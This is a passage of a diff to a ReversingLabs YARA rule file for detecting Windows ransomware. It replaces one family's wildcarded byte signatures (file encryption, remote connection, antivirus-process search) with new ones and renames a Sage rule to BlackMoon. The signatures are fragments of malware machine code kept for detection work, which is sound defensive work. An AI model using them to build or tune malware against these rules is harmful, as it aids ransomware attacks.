-            44 24 ?? 33 C9 66 89 08 8D 44 24 ?? 50 FF 74 24 ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ??
-            ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? FF 74 24 ?? FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B
-            8B E5 5D C3
+		$remote_server_connection_1_1 = {
+            E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ??
+            ?? ?? ?? 8B 53 ?? 8D 4B ?? 83 FA ?? 0F 43 4B ?? 8D 41 ?? 89 85 ?? ?? ?? ?? 90 8A 01
+            41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 8D 43 ?? 6A ?? 83 FA ?? 51 0F 43 43 ?? 50 56 FF 15
+            ?? ?? ?? ?? 85 C0 79 ?? FF D7 50 51 BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83
+            C4 ?? 8B C8 E8 ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ??
+            83 F8 ?? 0F 85 ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ??
+            ?? ?? 83 C4 ?? BE ?? ?? ?? ?? 8B 43 ?? 83 F8 ?? 72 ?? 8B 4B ?? 40 3D ?? ?? ?? ?? 72
+            ?? F6 C1 ?? 0F 85 ?? ?? ?? ?? 8B 41 ?? 3B C1 0F 83 ?? ?? ?? ?? 2B C8 83 F9 ?? 0F 82
+            ?? ?? ?? ?? 83 F9 ?? 0F 87 ?? ?? ?? ?? 8B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B C6 8B 4D
+            ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D 8B E3 5B C3
         }
-		$crypt_files_v5_0_2 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B D9 89 55 ?? 33 FF 89 5D ?? 21 7D ?? B9 ?? ??
-            ?? ?? 89 7D ?? E8 ?? ?? ?? ?? 8B F0 33 C0 89 75 ?? 85 F6 0F 84 ?? ?? ?? ?? 50 68 ??
-            ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B D8 83 FB ?? 75 ?? 33 C0
-            50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B D8 83 FB
-            ?? 0F 84 ?? ?? ?? ?? 8B 7D ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 6A
-            ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 6A ?? 8D 45 ?? 50 68
-            ?? ?? ?? ?? 56 53 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ??
-            81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? FF 77 ?? FF 77 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ??
-            ?? 53 FF 15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 0F 57
-            C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? FF 75 ?? 83 65 ?? ?? 8D 55
-            ?? 56 8D 4D ?? E8 ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 C6 45 ?? ?? 48 75 ?? 51 68
-            ?? ?? ?? ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ??
-            ?? ?? 83 65 ?? ?? 83 65 ?? ?? 41 89 45 ?? 8B 45 ?? 89 45 ?? E8 ?? ?? ?? ?? 8B 8E ??
-            ?? ?? ?? 83 C1 ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 33 FF 6A ?? 8D 45 ?? 50 FF B6 ??
-            ?? ?? ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 85 C0 0F 84
-            ?? ?? ?? ?? 3B 86 ?? ?? ?? ?? 8B 55 ?? 6A ?? 59 0F 42 F9 83 7D ?? ?? 8D 8D ?? ?? ??
-            ?? 0F 45 7D ?? 01 86 ?? ?? ?? ?? 89 7D ?? 83 96 ?? ?? ?? ?? ?? 8B 45 ?? 50 FF 75 ??
-            89 45 ?? E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 6A ?? 52 50 53 FF 15 ??
-            ?? ?? ?? 6A ?? 8D 45 ?? 50 FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 75
-            ?? 8B 7D ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 57 56 53 FF 15 ?? ?? ?? ?? 85
-            C0 74 ?? 8B 75 ?? 8B 7D ?? 33 C0 40 01 86 ?? ?? ?? ?? 83 96 ?? ?? ?? ?? ?? EB ?? 33
-            C0 8D 78 ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ?? 6A ?? 6A ?? 0F 57 C0 66 0F 13
-            45 ?? FF 75 ?? FF 75 ?? 53 FF 15 ?? ?? ?? ?? 6A ?? 8D 45 ?? 50 68 ?? ?? ?? ?? 56 53
-            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B F8 89 7D ?? E8 ?? ?? ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B
-            CE E8 ?? ?? ?? ?? 85 DB 0F 84 ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 74 ??
-            FF 75 ?? 83 65 ?? ?? 83 65 ?? ?? 8B 35 ?? ?? ?? ?? FF D6 8D 0C 45 ?? ?? ?? ?? E8 ??
-            ?? ?? ?? FF 75 ?? 8B F8 33 C0 40 83 67 ?? ?? 88 07 FF D6 FF 75 ?? 03 C0 89 47 ?? FF
-            D6 8D 04 45 ?? ?? ?? ?? 50 FF 75 ?? 8D 47 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? FF 75
-            ?? FF D6 8D 04 45 ?? ?? ?? ?? 50 57 8D 45 ?? 50 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 89 01
-            8B CF E8 ?? ?? ?? ?? 8B 7D ?? 8B 45 ?? FF 70 ?? FF 70 ?? 6A ?? 6A ?? 53 FF 15 ?? ??
-            ?? ?? 53 FF 15 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C3
+		$encryption_loop_1_0 = {
+            66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 6A ?? 8B 40 ?? 03 C8 8B 51 ?? 83 CA ??
+            8B C2 83 C8 ?? 83 79 ?? ?? 0F 45 C2 50 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 32 C0 0F 85 ??
+            ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 C7 45 ?? ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? 83 CB ?? 68 ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? C7
+            45 ?? ?? ?? ?? ?? 8B D7 8B 9D ?? ?? ?? ?? 83 CB ?? 83 7F ?? ?? 89 9D ?? ?? ?? ?? 89
+            9D ?? ?? ?? ?? 72 ?? 8B 17 83 78 ?? ?? 8B C8 72 ?? 8B 08 8B 70 ?? 3B 77 ?? 75 ?? 85
+            F6 0F 84
         }
-		$remote_connection_v5_0_2 = {
-            55 8B EC 83 EC ?? 53 8B 1D ?? ?? ?? ?? 56 8B F1 57 83 7E ?? ?? 74 ?? FF 76 ?? FF D3
-            8B CE E8 ?? ?? ?? ?? 33 FF 57 57 6A ?? 57 57 FF 75 ?? FF 75 ?? FF 76 ?? FF 15 ?? ??
-            ?? ?? 89 45 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 68 ??
-            ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? FF 75 ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ??
-            83 C4 ?? B8 ?? ?? ?? ?? 81 7D ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 0F 44 C8 57 51 57 57 68
-            ?? ?? ?? ?? 56 8B 75 ?? 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 74 ?? FF
-            75 ?? FF 75 ?? FF 75 ?? FF 75 ?? 50 FF 15 ?? ?? ?? ?? 33 C9 41 85 C0 8B 45 ?? 0F 45
-            F9 50 FF D3 56 FF D3 8D 4D ?? E8 ?? ?? ?? ?? 8B C7 5F 5E 5B 8B E5 5D C2
+		$encryption_loop_1_1 = {
+            66 8B 01 66 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EE ?? 75 ?? C6 85 ?? ?? ?? ?? ?? EB ??
+            32 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? C6 85 ?? ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ??
+            8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ??
+            ?? ?? ?? 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ??
+            89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? F6 C3 ?? 74 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 32 C0 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 32 C0 C7 45 ?? ?? ?? ?? ?? 75 ?? 83 E3 ?? 8D 8D ?? ?? ?? ?? 89 9D ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 80 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 51 FF B5 ?? ?? ?? ?? BA
+            ?? ?? ?? ?? C6 45 ?? ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ??
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 50 8D
+            8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15
+            ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8B 95
         }
-		$crypt_files_v5_0_3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 8B F9 89 55 ?? 33 DB B9 ?? ?? ?? ?? 89 5D ?? E8
-            ?? ?? ?? ?? 8B F0 89 75 ?? 85 F6 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 68 ?? ?? ?? ?? 6A ??
-            53 53 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 0F 84 ?? ?? ?? ?? 6A ?? 53
-            6A ?? 68 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 53 8D 45 ?? 50 68 ?? ?? ?? ??
-            56 57 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 81 BE ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 81 BE ?? ??
-            ?? ?? ?? ?? ?? ?? 75 ?? 8B 45 ?? FF 70 ?? FF 70 ?? 53 53 57 FF 15 ?? ?? ?? ?? 57 FF
-            15 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 53 53 0F 57 C0 66 0F 13 45 ?? FF
-            75 ?? FF 75 ?? 57 FF 15 ?? ?? ?? ?? FF 75 ?? 8D 55 ?? 89 5D ?? 56 8D 4D ?? E8 ?? ??
-            ?? ?? 59 59 85 C0 74 ?? 6A ?? 58 88 5D ?? 48 75 ?? 51 68 ?? ?? ?? ?? 8D 55 ?? 8D 8D
-            ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 C4 ?? 8B 8E ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 41
-            8B 45 ?? 89 85 ?? ?? ?? ?? 89 5D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 8E ?? ?? ?? ?? 83 C1
-            ?? 89 45 ?? E8 ?? ?? ?? ?? 89 45 ?? 89 5D ?? 53 8D 45 ?? 50 FF B6 ?? ?? ?? ?? FF 75
-            ?? 57 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 4D ?? 85 C9 0F 84 ?? ?? ?? ?? 3B
-            8E ?? ?? ?? ?? 8B 45 ?? 6A ?? 5A 0F 42 C2 39 5D ?? 8B 55 ?? 0F 45 45 ?? 01 8E ?? ??
-            ?? ?? 8D 8D ?? ?? ?? ?? 89 45 ?? 11 9E ?? ?? ?? ?? 8B 45 ?? 8B 75 ?? 50 56 89 45 ??
-            E8 ?? ?? ?? ?? 8B 45 ?? 59 59 33 C9 F7 D8 41 99 51 53 52 50 57 FF 15 ?? ?? ?? ?? 8B
-            C3 89 5D ?? 83 F8 ?? 7D ?? 53 8D 45 ?? 50 FF 75 ?? 56 57 FF 15 ?? ?? ?? ?? 85 C0 75
-            ?? 6A ?? FF 15 ?? ?? ?? ?? 8B 45 ?? 40 89 45 ?? EB ?? 8B 75 ?? 33 C0 8B 4D ?? 40 01
-            86 ?? ?? ?? ?? 11 9E ?? ?? ?? ?? EB ?? 33 C0 8D 48 ?? 89 4D ?? 85 C9 0F 84 ?? ?? ??
-            ?? 39 5D ?? 74 ?? 6A ?? 53 0F 57 C0 66 0F 13 45 ?? FF 75 ?? FF 75 ?? 57 FF 15 ?? ??
-            ?? ?? 53 8D 45 ?? 50 68 ?? ?? ?? ?? 56 57 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B D8 E8 ?? ??
-            ?? ?? 8B 4D ?? E8 ?? ?? ?? ?? 8B CE E8 ?? ?? ?? ?? 83 FF ?? 74 ?? 8B 45 ?? 57 83 08
-            ?? FF 15 ?? ?? ?? ?? 8B C3 5F 5E 5B 8B E5 5D C3
+		$encryption_loop_1_2 = {
+            57 E8 ?? ?? ?? ?? 83 C4 ?? EB ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ??
+            ?? ?? ?? C3 8B 85 ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8B 85 ?? ?? ?? ??
+            89 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? 50 FF B5
+            ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 33 C0 8B 4D ?? 64 89 0D ?? ?? ?? ?? 59 5F 5E
+            5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 51 FF B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 51
+            8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 75 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 85
+            C0 0F 84 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8D 85
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 69 0F ?? ?? ?? ?? 83 C4 ?? 8B 85 ?? ??
+            ?? ?? BA ?? ?? ?? ?? 03 48 ?? 8D 85 ?? ?? ?? ?? 50 51 E8 ?? ?? ?? ?? 85 C0 74 ?? BA
+            ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? E9
         }
-		$remote_connection_v5_0_3 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 68 ?? ?? ?? ?? 33 DB 8D 85 ?? ?? ?? ?? 8B F1 53
-            50 89 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 8B FB 0F B7 04 5E 66 85 C0 74 ?? 83 F8 ?? 75 ??
-            83 C3 ?? 56 89 5D ?? FF 15 ?? ?? ?? ?? 3B D8 73 ?? 8D 14 1B 0F B7 04 32 EB ?? 66 83
-            F8 ?? 74 ?? 43 0F B7 04 5E 66 85 C0 75 ?? EB ?? 8B CB 2B 4D ?? 74 ?? 03 F2 8D BD ??
-            ?? ?? ?? D1 E9 F3 A5 13 C9 66 F3 A5 8B 75 ?? 8D 43 ?? 8D 04 46 50 8D 85 ?? ?? ?? ??
-            50 FF 15 ?? ?? ?? ?? 33 FF 47 43 85 FF 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B 15 ?? ?? ??
-            ?? 8D 7D ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8B 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B F8 85
-            FF 74 ?? 51 8D 45 ?? 50 FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 83 EC ?? 57 FF 15 ?? ?? ??
-            ?? 50 57 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 8D 4D ?? E8 ?? ?? ?? ?? 8B CF 8B
-            F0 E8 ?? ?? ?? ?? EB ?? 33 F6 83 7D ?? ?? 74 ?? FF 75 ?? FF 15 ?? ?? ?? ?? 5F 8B C6
-            5E 5B 8B E5 5D C3
+		$encryption_loop_1_3 = {
+            69 37 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 03 70 ?? E8 ?? ?? ?? ?? 8B 95 ??
+            ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 81 CB ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 78 ?? 8D
+            4A ?? 89 08 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ?? 8D 4A ?? 89 48 ??
+            B9 ?? ?? ?? ?? F3 A5 66 A5 C7 80 ?? ?? ?? ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? C6 45 ??
+            ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ??
+            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C6 45 ?? ?? 50 8D 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
+            C6 45 ?? ?? 8B B5 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 56 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 56 E8 ?? ?? ?? ?? 83 C4
+            ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 8D 8D ?? ?? ?? ?? C6 45 ?? ?? E8 ?? ?? ?? ?? 8B BD ??
+            ?? ?? ?? 8B 8D ?? ?? ?? ?? FF 07 8B 07 89 41 ?? 69 17 ?? ?? ?? ?? 8B 41 ?? 80 A4 02
+            ?? ?? ?? ?? ?? 8B 01 48 39 07 75 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50
+            E8 ?? ?? ?? ?? 83 C4 ?? FF B5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F
+            84 ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8A 11 8B
+            C8 E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? B8 ?? ?? ?? ?? C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and (($search_antivirus_processes and $find_files and $crypt_files and $remote_connection) or ($find_files_v2 and $crypt_files_v2 and $search_antivirus_processes_v2 and $remote_connection_v2) or ($search_antivirus_processes_v2 and $find_files_v2_1 and $crypt_files_v2_1 and $remote_connection_v2_1) or ($search_antivirus_processes_v4_1_2 and $find_files_v4_1_2 and $crypt_files_v4_1_2 and $remote_connection_v4_1_2 and $url_parameters_setup_v4_1_2) or ($search_antivirus_processes_v4 and $find_files_v4 and $crypt_files_v4 and $url_parameters_setup_v4) or ($search_antivirus_processes_v2 and $find_files_v2_1 and $remote_connection_v2_1 and $crypt_files_v3) or ($search_antivirus_processes_v5 and $find_files_v5 and $crypt_files_v5 and $remote_connection_v5 and $url_parameters_setup_v5) or ($search_antivirus_processes_v5_0_1 and $find_files_v5_0_1 and $crypt_files_v5_0_1 and $url_parameters_setup_v5_0_1 and $remote_connection_v5_0_1) or ($search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_2 and $set_url_parameters_v5_0_2 and $remote_connection_v5_0_2) or ($search_antivirus_processes_v5_0_2 and $find_files_v5_0_2 and $crypt_files_v5_0_3 and $set_url_parameters_v5_0_3 and $remote_connection_v5_0_3))
+		uint16(0)==0x5A4D and ($remote_server_connection_1_0 and $remote_server_connection_1_1 and ( all of ($encryption_loop_1_*)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Sage : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Blackmoon : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Sage ransomware."
+		description = "Yara rule that detects BlackMoon ransomware."
 		author = "ReversingLabs"
-		id = "81f4c666-93f9-51bb-8dda-431ef7a81b74"
-		date = "2020-07-15"
-		modified = "2020-07-15"
+		id = "95ebb6c4-b0c9-5f9a-8424-a2f4d33953eb"
+		date = "2020-11-11"
+		modified = "2020-11-11"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Sage.yara#L1-L77"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "69079b7176050096cdbaaaff30dd0359366b3a6a74e8bc17db348794388f71ba"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.BlackMoon.yara#L1-L70"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "428409096a8637978bf2a1efb3238e4ba87715a909693b0cd26c0f689d567a09"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -46220,70 +46615,66 @@ rule REVERSINGLABS_Win32_Ransomware_Sage : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Sage"
+		tc_detection_name = "BlackMoon"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$remote_connection = {
-            83 EC ?? 8B 44 24 ?? 53 55 56 57 8B 7C 24 ?? 8B 77 ?? 50 E8 ?? ?? ?? ?? 8B 4C 24 ??
-            8B D8 51 89 5C 24 ?? E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 89 44 24
-            ?? C7 44 24 ?? ?? ?? ?? ?? 89 77 ?? FF 15 ?? ?? ?? ?? 8B E8 89 6C 24 ?? 85 ED 0F 84
-            ?? ?? ?? ?? 8B 74 24 ?? 6A ?? 56 53 55 FF 15 ?? ?? ?? ?? 8B D8 89 5C 24 ?? 85 DB 0F
-            84 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 BA ?? ?? ?? ?? 66 3B F2 0F 95 C0 48 25 ?? ?? ?? ??
-            50 6A ?? 6A ?? 6A ?? 51 68 ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B F0 85 F6 0F 84 ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ??
-            ?? 6A ?? 56 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 8B 1D ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 8B FF
-            8D 54 24 ?? 52 56 FF D3 8D 44 24 ?? 50 8B 44 24 ?? 50 50 57 E8 ?? ?? ?? ?? 83 C4 ??
-            50 56 FF D5 85 C0 0F 84 ?? ?? ?? ?? 83 7C 24 ?? ?? 75 ?? 6A ?? 8D 4C 24 ?? 51 8D 54
-            24 ?? 52 6A ?? 68 ?? ?? ?? ?? 56 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? FF
-            15 ?? ?? ?? ?? 8B 44 24 ?? 89 44 24 ?? 8B 5C 24 ?? 8B 6C 24 ?? 56 FF 15 ?? ?? ?? ??
-            53 FF 15 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 8B 5C 24 ?? 85 DB 74 ?? 53 E8 ?? ?? ?? ??
-            83 C4 ?? 8B 44 24 ?? 5F 5E 5D 5B 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8B 04 24 83
-            C4 ?? C3 57 E8 ?? ?? ?? ?? 83 C4
+		$find_files = {
+            81 EC ?? ?? ?? ?? 53 8B 9C 24 ?? ?? ?? ?? 55 56 8B 33 57 8B BC 24 ?? ?? ?? ?? 33 ED
+            85 FF 74 ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 76 ?? 85 F6 74 ?? 83 FE ?? 74 ?? 56 FF
+            15 ?? ?? ?? ?? 8D 44 24 ?? 50 57 FF 15 ?? ?? ?? ?? 8B F0 83 FE ?? 89 33 74 ?? 8B 84
+            24 ?? ?? ?? ?? 85 C0 74 ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 74 ?? EB ?? 8B 94 24 ?? ??
+            ?? ?? 8B 44 24 ?? 85 C2 74 ?? BD ?? ?? ?? ?? 85 F6 74 ?? 83 FE ?? 74 ?? 85 ED 75 ??
+            8B 84 24 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 85 C0 8D 44 24 ?? 50 56 74 ?? FF D7 85 C0 74
+            ?? 8B 4C 24 ?? 83 E1 ?? 80 F9 ?? 75 ?? 8D 54 24 ?? 52 56 FF D7 85 C0 75 ?? 5F 5E 5D
+            33 C0 5B 81 C4 ?? ?? ?? ?? C3 FF D7 85 C0 74 ?? 8B 9C 24 ?? ?? ?? ?? 85 5C 24 ?? 75
+            ?? 8D 4C 24 ?? 51 56 FF D7 85 C0 75 ?? 5F 5E 5D 5B 81 C4 ?? ?? ?? ?? C3 8D 54 24 ??
+            52 E8 ?? ?? ?? ?? 40 50 E8 ?? ?? ?? ?? 8B D0 8D 7C 24 ?? 83 C9 ?? 33 C0 83 C4 ?? F2
+            AE F7 D1 2B F9 8B C1 8B F7 8B FA C1 E9 ?? F3 A5 8B C8 8B C2 83 E1 ?? F3 A4 5F 5E 5D
+            5B 81 C4 ?? ?? ?? ?? C3
         }
-		$encrypt_files = {
-            83 EC ?? 53 8B 1D ?? ?? ?? ?? 55 8B 6C 24 ?? 56 57 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68
-            ?? ?? ?? ?? 8D 7D ?? 57 FF D3 8B F0 83 FE ?? 74 ?? 8D 44 24 ?? 50 56 FF 15 ?? ?? ??
-            ?? 89 44 24 ?? 3D ?? ?? ?? ?? 0F 87 ?? ?? ?? ?? 83 7C 24 ?? ?? 0F 85 ?? ?? ?? ?? 8B
